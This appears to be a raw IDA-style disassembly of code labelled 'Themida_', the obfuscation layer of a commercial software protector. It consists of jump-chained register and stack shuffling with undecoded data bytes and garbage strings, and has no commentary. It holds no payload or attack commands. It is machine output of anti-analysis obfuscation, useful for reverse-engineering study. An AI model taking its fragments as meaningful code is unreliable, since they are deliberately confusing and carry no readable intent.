loc_5420DA:				; CODE XREF: Themida_:00543B96j
		pop	ecx
		add	esp, 4
		jmp	loc_5495C9
; ---------------------------------------------------------------------------
		dw 39BEh
		dd 46041A20h, 0B801E9h
		db 0
byte_5420F1	db 0ACh, 53h, 51h	; DATA XREF: Themida_:00541934o
		dd 0E980BAB1h, 59CF88FFh, 807BF780h, 0F6531AF7h, 8B012454h
		dd 0C483241Ch, 0EDEF8004h, 5BF828h, 6B151D8h, 42BAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54211D:				; CODE XREF: Themida_:00552040j
		add	edi, 4
		push	eax
		push	ecx
		jmp	loc_547628
; ---------------------------------------------------------------------------

loc_54212A:				; CODE XREF: Themida_:0054FA6Bj
		push	edx
		mov	edx, 4B2DCA96h
		add	ebx, 6EF43DCh
		sub	ebx, edx
		jmp	loc_5472B5
; ---------------------------------------------------------------------------

loc_54213D:				; CODE XREF: Themida_:00551DD2j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5555AF
; ---------------------------------------------------------------------------
byte_542153	db 66h			; DATA XREF: Themida_:00541A28o
		dd 6824048Bh, 6C0Bh, 81243C89h,	4ECh, 0D912E900h
		db 2 dup(0)
word_54216A	dw 6468h		; DATA XREF: Themida_:00541A90o
		dd 0E9000002h, 12A94h
; ---------------------------------------------------------------------------

loc_542174:				; CODE XREF: Themida_:0055659Ej
		pop	edx
		push	edx
		sub	esp, 4
		jmp	loc_5511D0
; ---------------------------------------------------------------------------

loc_54217E:				; CODE XREF: Themida_:0054D2ACj
		add	edi, 4
		add	edi, 4
		jmp	loc_54F93A
; ---------------------------------------------------------------------------
		db 33h
		dd 285C2404h, 240C8BCBh, 0CC28E9h, 0E9C82900h, 11994h
		dd 0E9240489h, 0EF11h, 4EC81h, 1C890000h, 501AB324h, 0E18859B4h
		dd 4B32E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5421C2:				; CODE XREF: Themida_:00546E2Cj
					; Themida_:00554D6Dj
		sub	esp, 4
		mov	[esp], eax
		push	6C5Fh
		mov	[esp], ebp
		mov	ebp, 3F904DD7h
		push	7B70h
		mov	[esp], esi
		push	edx
		mov	edx, 75160CAFh
		shr	edx, 1
		and	edx, 0EFA4C7Dh
		push	228Eh
		jmp	loc_549E2A
; ---------------------------------------------------------------------------
aRitsn		db 'R‰âéN×',0
		dd 24248B00h, 0F66F1F6h, 6866CCB6h, 89665850h, 0F66240Ch
		dd 5166C8B6h, 0F905E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54221A:				; CODE XREF: Themida_:0054E847j
		push	0
		jmp	loc_54F23A
; ---------------------------------------------------------------------------
		dd 34FFEE31h, 7AE95D24h, 66000112h, 28000068h, 9BE9240Ch
		db 4, 1, 0
; ---------------------------------------------------------------------------

loc_54223B:				; CODE XREF: Themida_:0054AEDDj
		jnz	loc_554D9C
		push	ecx
		jmp	loc_54A70A
; ---------------------------------------------------------------------------

loc_542247:				; CODE XREF: Themida_:0054A1D5j
		push	ecx
		jmp	loc_552BFF
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 92h
		dd 813D183Fh, 619E63C3h, 1938E93Ah
		db 1, 0
; ---------------------------------------------------------------------------

loc_54225E:				; CODE XREF: Themida_:0054A465j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5431D4
; ---------------------------------------------------------------------------

loc_54226B:				; CODE XREF: Themida_:00553F8Aj
		mov	esi, esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_550AB4
; ---------------------------------------------------------------------------
aSgz		db ',ÞégZ',0
		align 2

loc_542282:				; CODE XREF: Themida_:00549F59j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 1C6360F6h
		add	[esp+8], esi
		jmp	loc_5552B8
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 243C8B54h, 4C481h, 0C7810000h, 4, 4C781h, 0E9570000h
		dd 972Bh, 0F916E5BAh, 5AD70131h, 4D94E9h, 0A9EE8100h, 516F71DBh
		dd 0EEE9F189h, 8B00004Bh, 0C4832414h, 0C0E95204h, 8300000Ch
		dd 1C8704EBh, 0A8E95C24h, 8100012Eh, 0D1BC8EEh,	79C6813Eh
		dd 0E9433901h, 12D6Ah, 2F41685Fh, 2C890000h, 34DE924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_54230E:				; CODE XREF: Themida_:00556A89j
		add	dword ptr [esp], 4
		pop	eax
		push	64Bh
		mov	[esp], ebx
		push	561D75C9h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		shr	ebx, 3
		jmp	loc_552B03
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 0B2E90424h, 550000F1h, 8B148D68h, 0DDF75D34h, 0EB6FB850h
		dd 0C529CB74h, 0C341E9h, 0BE46800h, 0A9E97D20h,	5800013Fh
		dd 0DA7CE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_542372:				; CODE XREF: Themida_:00555588j
		push	ebx
		push	eax
		mov	eax, 18F43033h
		mov	ebx, eax
		pop	eax
		jmp	loc_5548A6
; ---------------------------------------------------------------------------

loc_542381:				; CODE XREF: Themida_:0054C21Cj
		mov	ebx, 20h
		push	ecx
		mov	ecx, 0C4A0B31h
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 32691717h
		jmp	loc_549FCD
; ---------------------------------------------------------------------------

loc_5423A2:				; CODE XREF: Themida_:0054B56Aj
		pop	esp
		jmp	loc_555077
; ---------------------------------------------------------------------------

loc_5423A8:				; CODE XREF: Themida_:0054EED3j
		push	ebx
		jmp	loc_5544B0
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 1D9E904h, 81580001h,	0DB3637C2h, 0E9D60936h,	3546h
		dd 76E9815Fh, 16EC11Bh,	86D7E9E9h, 29580000h, 0BF575FFEh
		dd 110507A8h, 875FFE21h, 0E9D7F7FEh, 7A88h, 4C4815Eh, 89000000h
		dd 2434FFFBh, 81243C8Bh, 4C4h, 4C48100h, 29000000h, 2434FFD8h
		dd 5B2434FFh, 8104C483h, 4C4h, 0E7895700h, 4C781h, 0BE90000h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_542423:				; CODE XREF: Themida_:00541FA1j
		mov	edx, esp
		add	edx, 4
		jmp	loc_54FA4E
; ---------------------------------------------------------------------------

loc_542430:				; CODE XREF: Themida_:00555A36j
		xor	eax, 0F8D0D80h
		jmp	loc_549FF1
; ---------------------------------------------------------------------------
aSiqsji		db 'Sˆï馉',0
		align 2

loc_542442:				; CODE XREF: Themida_:0054EBEEj
		pop	ebp
		push	esi
		jmp	loc_541E24
; ---------------------------------------------------------------------------
		db 5Ah,	29h, 0CAh
		dd 81EA0159h, 0F85FD2C2h, 14875D16h, 56535C24h,	7A3B2EBEh
		dd 17C68106h, 0F72EF462h, 74C681D6h, 0E9215973h, 9B2Eh
; ---------------------------------------------------------------------------

loc_542474:				; CODE XREF: Themida_:005483EEj
		push	ebx
		mov	ebx, 430B177Ah
		xchg	ecx, ebx
		jmp	loc_54BD4C
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5904h, 24248B24h,	48B5450h, 76696824h, 3C890000h
		dd 81E78924h, 4C7h, 4C78300h, 5C243C87h, 5EE9BB53h, 0DBF76A8Bh
		dd 6C77BF57h, 0EFD12C47h, 1728BD55h, 0EF318357h, 5FFB315Dh
		dd 1C8BD801h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 4E8835Ch, 5C240487h,	52243C89h, 0F5502ABAh, 449DE91Fh
		dd 248B0001h, 4216624h,	24E99C24h, 89FFFFF6h, 4C281E2h
		dd 0E9000000h, 20D4h
; ---------------------------------------------------------------------------

loc_542508:				; CODE XREF: Themida_:0054E088j
		neg	ecx
		add	ecx, 472B36DAh
		shl	ecx, 2
		jmp	loc_5451FB
; ---------------------------------------------------------------------------
		dd 0D0E9E189h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54251F:				; CODE XREF: Themida_:00542E40j
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54BC51
; ---------------------------------------------------------------------------
aSr5		db '(Óé5',0
		db 0
; ---------------------------------------------------------------------------

loc_542539:				; CODE XREF: Themida_:0054F1D5j
		push	eax
		push	ebx
		push	2BCAh
		jmp	loc_549B09
; ---------------------------------------------------------------------------
		db 53h,	54h, 8Bh
		dd 0C481241Ch, 4, 0EC835550h, 240C8904h, 652356B9h, 81D9F754h
		dd 6D32C5C1h, 2BF18117h, 0E9888214h, 2F5Ch, 4EC8153h, 89000000h
		dd 4812424h, 424h, 0C3815B00h, 4, 4EB81h, 0FF530000h, 5B042474h
		dd 8B24048Fh, 0C892424h, 247D6824h, 0C8B2596h, 4C48324h
		dd 34FFC831h, 2434FF24h, 83240C8Bh, 0EC8304C4h,	242C8904h
		dd 0C581E589h, 4, 8704C583h, 1AE9242Ch
		db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5425CF:				; CODE XREF: Themida_:0054A1FBj
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edx, ebp
		pop	ebp
		mov	ecx, [edx]
		mov	edx, [esp]
		jmp	loc_544280
; ---------------------------------------------------------------------------

loc_5425E7:				; CODE XREF: Themida_:0054C79Dj
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5548DD
; ---------------------------------------------------------------------------
		dw 105h
		dd 167A477h, 77012DD0h,	65E967A4h, 40000CEh, 2333E9A6h
		dd 53550001h, 8955B2BBh, 0E9DD8926h, 10DD3h, 0B25A0405h
		dd 20A90508h, 0BA525A4Bh, 177473E7h, 42AFEA81h,	2D2D0693h
		dd 110440Fh, 4EC83D0h, 1497E9h,	24048F00h, 2424895Ch, 4B850h
		dd 44010000h, 89E90424h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_542663:				; CODE XREF: Themida_:00545277j
		add	ebx, ebp
		sub	ebx, 47EC7903h
		pop	ebp
		mov	edx, [esp]
		jmp	loc_54ADC8
; ---------------------------------------------------------------------------
		dd 2994E955h, 0E8C00001h, 0E9FF0408h, 0F607h, 4C481h, 50E90000h
		dd 5E00004Eh, 8904EC83h, 7BE9240Ch
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54269B:				; CODE XREF: Themida_:0054F747j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	24C7h
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	edx
		mov	edx, 32B22EEDh
		mov	eax, 32B22EE9h
		jmp	loc_546096
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0A0C381D3h, 31731E96h, 0E89FE9DEh, 3C890000h, 815F5424h
		dd 4C7h, 4EC8300h, 68241489h, 7BAh, 68240C89h, 7C71h, 23BEE9h
		dd 4C48100h, 87000000h,	895C240Ch, 0E789243Ch, 0FD53E955h
		dd 0C4810000h, 4, 0F2C2E9h, 0B62D4800h,	31571C78h, 45BAE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_542732:				; CODE XREF: Themida_:00556282j
		pop	ecx
		add	edi, 4
		jmp	loc_5503A0
; ---------------------------------------------------------------------------

loc_54273B:				; CODE XREF: Themida_:00543ADFj
		xor	esi, 735D6ED6h
		add	ebp, esi
		jmp	loc_55378B
; ---------------------------------------------------------------------------
		dd 1BC8C681h, 815B3E0Dh, 2EEh, 3BFB6800h, 34890000h, 4E3DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_542762:				; CODE XREF: Themida_:00553040j
		pop	edi
		sub	ecx, 4
		jmp	loc_5496E8
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 67ED3848h, 8102EBC1h, 894410EBh, 0E9DD8918h,	5DAh
; ---------------------------------------------------------------------------

loc_542784:				; CODE XREF: Themida_:0054CA41j
		pop	ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_54A12E
; ---------------------------------------------------------------------------

loc_54278D:				; CODE XREF: Themida_:00553FD4j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esi
		mov	esi, 3A3A3338h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_541BD5
; ---------------------------------------------------------------------------

loc_5427AC:				; CODE XREF: Themida_:0054AAF8j
		sub	bl, dh
		add	bl, 7Eh
		pop	dx
		add	bl, 67h
		xor	ch, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	al, ch
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	bh, 0B6h
		mov	al, 0ABh
		sub	al, bh
		pop	ebx
		jmp	loc_54F864
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 80C6FEE7h, 0B2E9D2C6h, 5D000124h, 592434FFh,	0FF04C483h
		dd 2C8B2434h, 5F545724h, 4EC81h, 2C890000h, 174B6824h
		dd 0D15D75A8h, 81E5D1E5h, 1F0CD6CDh, 0A17E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_542816:				; CODE XREF: Themida_:00555410j
		pop	ebx
		jmp	loc_550EB2
; ---------------------------------------------------------------------------
		dd 7965EE81h, 0D6290102h, 7965C681h, 15A0102h, 38DCE9CEh
		dd 0E9510000h, 0A231h
; ---------------------------------------------------------------------------

loc_542838:				; CODE XREF: Themida_:0054D7F7j
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		db 0C3h
byte_54284D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054183Co
aSo0		db '$éo0',0
		align 2
aUSj		db 'U^]éJ',8,0
		align 2
		dw 0BCE9h
		dd 55FFFFF2h, 4BDh, 5DE90100h, 5A40E9h
		db 0
; ---------------------------------------------------------------------------

loc_542871:				; CODE XREF: Themida_:0054CDCFj
		add	esp, 4
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_555D43
; ---------------------------------------------------------------------------
		dd 0EC81E289h, 4, 0B8240489h, 4, 51ECC281h, 0C20162DEh
		dd 51ECEA81h, 0AEE962DEh, 8700004Fh, 685C241Ch,	7133h
		dd 10C0BE9h, 58E78800h,	0E9873C88h, 3B00h, 148BD689h, 3091E924h
		dd 81580001h, 851331CEh, 2EEC12Dh, 0E903E6C1h, 4882h
; ---------------------------------------------------------------------------

loc_5428EC:				; CODE XREF: Themida_:0054658Aj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		jmp	loc_54BAF1
; ---------------------------------------------------------------------------
		db 0BEh, 2 dup(0)
		dd 0EE290000h, 0C45BE9h, 4C48100h, 51000000h, 4B9h, 8BCE0100h
		dd 8952240Ch, 4C281E2h,	0E9000000h, 0CABCh, 0B565B050h
		dd 5B7BE905h, 0C1810000h, 4, 2474FF51h,	240C8B04h, 81E68956h
		dd 4C6h, 4B95100h, 1000000h, 0E95659CEh, 0E9Eh,	0E908EFC1h
		dd 740Eh
dword_542964	dd 9D1C77FFh, 24041158h, 5D67E99Ch, 0FDB00000h,	0C0EB80h
					; DATA XREF: Themida_:00541988o
		dd 0BC16E9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54297E:				; CODE XREF: Themida_:005545DEj
		add	ecx, 4
		jmp	loc_548CEF
; ---------------------------------------------------------------------------

loc_542989:				; CODE XREF: Themida_:00555188j
		pop	ecx
		jmp	loc_55266E
; ---------------------------------------------------------------------------

loc_54298F:				; CODE XREF: Themida_:00551285j
		mov	ecx, 1
		add	esi, ecx
		pop	ecx
		xor	esi, 549C16BFh
		and	eax, esi
		pop	esi
		push	edx
		mov	edx, 1E5A319Eh
		xor	eax, edx
		pop	edx
		xor	eax, 505B2CD1h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, ecx
		mov	edi, ebx
		pop	ebx
		pop	ecx
		and	ecx, edi
		push	dword ptr [esp]
		jmp	loc_55589D
; ---------------------------------------------------------------------------

loc_5429CA:				; CODE XREF: Themida_:0054FBF0j
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	4697h
		mov	[esp], ebp
		push	eax
		mov	eax, 0
		mov	ebp, eax
		pop	eax
		sub	ebp, ecx
		mov	ecx, ebp
		jmp	loc_5530C6
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0BD555B04h, 4, 815DEB01h, 4EBh, 241C8700h, 90DCE9h
		db 0
; ---------------------------------------------------------------------------

loc_542A05:				; CODE XREF: Themida_:00546A66j
		sub	esi, 3E3C1435h
		jmp	loc_556B22
; ---------------------------------------------------------------------------

loc_542A10:				; CODE XREF: Themida_:00547623j
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_546A1D
; ---------------------------------------------------------------------------
		dd 4EE81h, 34870000h, 14895C24h, 3621BA24h, 7E2D7929h
		dd 296EA900h, 7E05D0h, 21E96EA9h
		db 0F7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_542A4B:				; CODE XREF: Themida_:0054FAEBj
		mov	[esp], ebx
		push	ecx
		mov	ecx, 4A9164C1h
		and	ecx, 7C5361E2h
		jmp	loc_555372
; ---------------------------------------------------------------------------
		db 81h
		dd 78775DF7h, 0CAEF8148h, 0E9E8ACB3h, 44EEh
; ---------------------------------------------------------------------------

loc_542A70:				; CODE XREF: Themida_:00550AAFj
		xor	eax, ebx
		pop	ebx
		sub	edi, eax
		pop	eax
		sub	edi, 2C1A31E7h
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54383D
; ---------------------------------------------------------------------------

loc_542A88:				; CODE XREF: Themida_:00554AA6j
		push	edi
		mov	edi, 4E240F44h
		xor	edi, 448D49D5h
		neg	edi
		jmp	loc_543DCF
; ---------------------------------------------------------------------------

loc_542A9B:				; CODE XREF: Themida_:00542C57j
		xor	ebx, 1AEE2CAFh
		add	ebx, 30F87339h
		push	eax
		mov	eax, 60BA14C4h
		add	eax, 0B32D0E0Ch
		add	esi, eax
		pop	eax
		jmp	loc_548AEB
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 66000000h,	172DE953h, 0EC800001h, 8BE6883Dh
		dd 0C4812404h, 4, 8B5AF000h, 8952240Ch,	4C281E2h, 83000000h
		dd 148704C2h, 45685C24h, 0E9000011h, 308Eh, 165BC581h
		dd 0F5011D53h, 165BED81h, 34FF1D53h, 0C4815E24h, 4, 704E9h
		db 0
; ---------------------------------------------------------------------------

loc_542B15:				; CODE XREF: Themida_:00553F84j
		add	ebp, 0F4B60182h
		jmp	loc_54FB8F
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0C78304C4h, 0E9565201h, 11541h
; ---------------------------------------------------------------------------

loc_542B30:				; CODE XREF: Themida_:0054635Bj
		push	edx
		mov	edx, 791668B1h
		shl	edx, 5
		sub	edx, 0FFFFFFFFh
		sub	edx, 12E1A5C8h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, ebx
		pop	ebx
		and	ecx, 1132488Fh
		xor	ecx, 15E124BDh
		or	edx, ecx
		pop	ecx
		shl	edx, 5
		jmp	loc_54AB05
; ---------------------------------------------------------------------------
		dd 6CA868h, 24348900h, 8AB1E9h,	4C78100h, 83000000h, 3C8704EFh
		dd 3C895C24h, 175CBF24h, 0B3E9669Dh, 8900007Dh,	0D29EE9E1h
		dd 34FF0000h, 2434FF24h, 4C4835Bh, 4C481h, 50530000h, 1AE9EC88h
		dd 66FFFFFDh, 0E9240489h, 0FFFFEF6Bh, 42474FFh,	24048F5Fh
		dd 0E5B5E95Ch, 0E9810000h, 26291459h, 0C181C101h, 26291459h
		dd 5F48C181h, 0FDE92C0Bh
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_542BDB:				; CODE XREF: Themida_:0054B297j
		push	eax
		jmp	loc_54677F
; ---------------------------------------------------------------------------

loc_542BE1:				; CODE XREF: Themida_:0054F99Cj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 62F15B5Dh
		push	edx
		mov	edx, 20E341C4h
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_5552BF
; ---------------------------------------------------------------------------

loc_542BFC:				; CODE XREF: Themida_:0055050Fj
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_5443E9
; ---------------------------------------------------------------------------
		dw 8158h
		dd 4C4h, 4EC8300h, 1021CE9h
		db 0
; ---------------------------------------------------------------------------

loc_542C19:				; CODE XREF: Themida_:0054FA9Ej
		sub	esp, 4
		mov	[esp], ecx
		push	268856B9h
		pop	ecx
		shl	ecx, 6
		push	ebx
		mov	ebx, 9D14FA34h
		xor	ecx, ebx
		jmp	loc_54BB6E
; ---------------------------------------------------------------------------
aCbimtaksug	db 'CëMâ kéãG',0
		db 0
; ---------------------------------------------------------------------------

loc_542C41:				; CODE XREF: Themida_:00555EE5j
		mov	[esp], ebx
		push	esi
		jmp	loc_55389B
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FB23h
; ---------------------------------------------------------------------------

loc_542C50:				; CODE XREF: Themida_:0054B9BBj
		mov	ebx, 6B6D4873h
		shr	ebx, 1
		jmp	loc_542A9B
; ---------------------------------------------------------------------------

loc_542C5C:				; CODE XREF: Themida_:00544900j
		pop	esp
		sub	ebx, 7F07756Dh
		add	ebx, ebp
		jmp	loc_548908
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 41DA6803h, 0C890000h, 513AB924h, 0EC83396Ah,	24348904h
		dd 5835A6BEh, 15EE810Dh, 812E5667h, 192A61CEh, 1EE8348h
		dd 3EA2F681h, 0C68112DEh, 62995227h, 0AC89B850h, 0C6018636h
		dd 5EF10158h, 8159CD01h, 0BF428CEAh, 3AA1E927h
		db 1, 0
; ---------------------------------------------------------------------------

loc_542CBA:				; CODE XREF: Themida_:0054DBB1j
		pop	ecx
		jmp	loc_54A2E3
; ---------------------------------------------------------------------------
		dd 0E9243C31h, 11E34h, 7E1A79BBh, 8DB95141h, 4141BF3Ch
		dd 5C6E981h, 0CB31EA95h, 5711E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_542CE2:				; CODE XREF: Themida_:0055331Bj
		mov	ebx, 410524Bh
		xor	ebx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	[esp+0Ch], ebx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		pop	dword ptr [edi+24h]
		jmp	loc_551FFF
; ---------------------------------------------------------------------------
		db 5Eh
		dd 275E9h, 46D6F700h, 327AF681h, 0EE814E7Fh, 372CCD7Fh
		dd 8B5EF001h, 89512434h, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 2404875Ch, 8924248Bh, 24348BF2h, 0E904C483h,	0FFFFEDCFh
; ---------------------------------------------------------------------------

loc_542D50:				; CODE XREF: Themida_:005521F5j
		mov	[esp], ebp
		push	esi
		mov	esi, 160D5E58h
		jmp	loc_550D3F
; ---------------------------------------------------------------------------
		dw 895Bh
		dd 0CA895DE9h, 81240C8Bh, 4C4h,	57EF8100h, 101275Eh, 0CF9CE9D7h
		dd 0C3810000h, 4, 65386857h, 4890000h, 9E5CE924h, 0E8BD0000h
		dd 81704651h, 452881C5h, 0DB5AE90Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_542D9E:				; CODE XREF: Themida_:00552C26j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_552CF9
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 3566E924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_542DB6:				; CODE XREF: Themida_:0055158Aj
		push	esi
		jmp	loc_555415
; ---------------------------------------------------------------------------
		dd 4C481h, 2C330000h, 242C3124h, 8B242C33h, 14892424h
		dd 0ED49E924h, 489FFFFh, 7329B824h, 29355F45h, 95F4571h
		dd 48B1C47h, 0E6D4E924h, 35580000h, 49D505Bh, 0F5268F25h
		dd 6B602548h, 0FC2D1FF5h, 0E9082401h, 0AE0Eh
; ---------------------------------------------------------------------------

loc_542E08:				; CODE XREF: Themida_:005569FEj
		push	2A8Ch
		mov	[esp], edx
		jmp	loc_550630
; ---------------------------------------------------------------------------

loc_542E15:				; CODE XREF: Themida_:0054B0A5j
		push	ebp
		mov	ebp, 43B02F5h
		sub	eax, 259C356Ah
		add	eax, ebp
		add	eax, 259C356Ah
		pop	ebp
		xor	edx, eax
		pop	eax
		jmp	loc_54761D
; ---------------------------------------------------------------------------
		dd 24148B66h, 2F5BE950h
		db 1, 0
; ---------------------------------------------------------------------------

loc_542E3A:				; CODE XREF: Themida_:005521EBj
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_54251F
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 62h
		dd 5F05203Bh, 0E95EF389h, 28BAh
; ---------------------------------------------------------------------------

loc_542E54:				; CODE XREF: Themida_:0055343Bj
		pop	ebp
		sub	esi, edi
		pop	edi
		and	esi, 40BB0B9Ch
		push	ebx
		jmp	loc_54AF47
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0BD242C89h, 278C7C95h, 1FE9BF57h,	60E9010Ah
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_542E7B:				; CODE XREF: Themida_:0054B9B5j
		xor	dx, [esp]
		jmp	loc_545009
; ---------------------------------------------------------------------------
		dd 0C580C0B5h, 66D5F630h, 28CAB050h, 885866C5h,	0E95259ECh
		dd 0B55Ch, 5D2434FFh, 4C481h, 0C0050000h, 81F873BEh, 0AC7FD9C3h
		dd 4EC8309h, 0BE243489h, 7CF75479h, 0B56EE81h, 8EE912A3h
		dd 81FFFFEEh, 136033EDh, 81FD017Dh, 136033C5h, 835B5F7Dh
		dd 348904ECh, 4BE24h, 0C5810000h, 17F0701Ch, 0ED81F501h
		dd 17F0701Ch, 0E924348Bh, 11113h, 11EAE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_542EFE:				; CODE XREF: Themida_:00553F36j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_555ECB
; ---------------------------------------------------------------------------

loc_542F11:				; CODE XREF: Themida_:0054801Dj
		not	esi
		jmp	loc_54B729
; ---------------------------------------------------------------------------
		dd 6658C981h, 0D9F705ADh, 500BC181h, 0E9810BAEh, 66D3EAD1h
		dd 96E9CE29h, 890000F1h, 86B9240Ch, 313B0E18h, 0FF04244Ch
		dd 83592434h, 2CE904ECh
		db 1Fh,	1, 0
; ---------------------------------------------------------------------------

loc_542F4B:				; CODE XREF: Themida_:005511F7j
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_548FCF
; ---------------------------------------------------------------------------
aSA_0		db '[é, ',0
		db 0
; ---------------------------------------------------------------------------

loc_542F63:				; CODE XREF: Themida_:005503C2j
		mov	edi, [esp]
		jmp	loc_54EB17
; ---------------------------------------------------------------------------
		db 88h
		dd 59CA88F9h, 8BD3005Bh, 89512414h, 4C181E1h, 83000000h
		dd 0C8704C1h, 0B746E924h, 0BD550000h, 4, 37DDEE81h, 0EE016756h
		dd 37DDC681h, 4FE96756h, 0B60000B1h, 75F68054h,	0EEC0CEFEh
		dd 0B1F68002h, 805AF708h, 0EF8036C7h, 0C7C78033h, 0A8E9FD88h
		dd 550000BBh, 524FE9h
		db 0
; ---------------------------------------------------------------------------

loc_542FC9:				; CODE XREF: Themida_:00547341j
		mov	ebx, esi
		jmp	loc_546BED
; ---------------------------------------------------------------------------
dword_542FD0	dd 9C241CF7h, 6B17E9h, 4EDC100h, 75C6ED81h, 0CD817967h
					; DATA XREF: Themida_:00541954o
		dd 75EA7163h, 0B0BE5645h, 1212A47h, 1BE95EF5h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_542FF7:				; CODE XREF: Themida_:00543288j
		xor	esi, 11A6800h
		and	eax, esi
		jmp	loc_549AC2
; ---------------------------------------------------------------------------
		dd 7A3DC781h, 19E9676Ah
		db 34h,	1, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54729C
; ---------------------------------------------------------------------------

loc_54301D:				; CODE XREF: Themida_:0054BAA8j
		not	eax
		shl	eax, 3
		jmp	loc_54D54F
; ---------------------------------------------------------------------------
		db 29h
		dd 50E95EF0h, 6600005Ch, 0E381665Bh, 4E953AFh
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54303B:				; CODE XREF: Themida_:005466E0j
		xchg	edx, [esp]
		pop	esp
		mov	dword ptr [eax], 0
		pop	eax
		xor	edx, edx
		push	esi
		sub	esp, 4
		mov	[esp], esp
		push	1A1Dh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 27F77814h
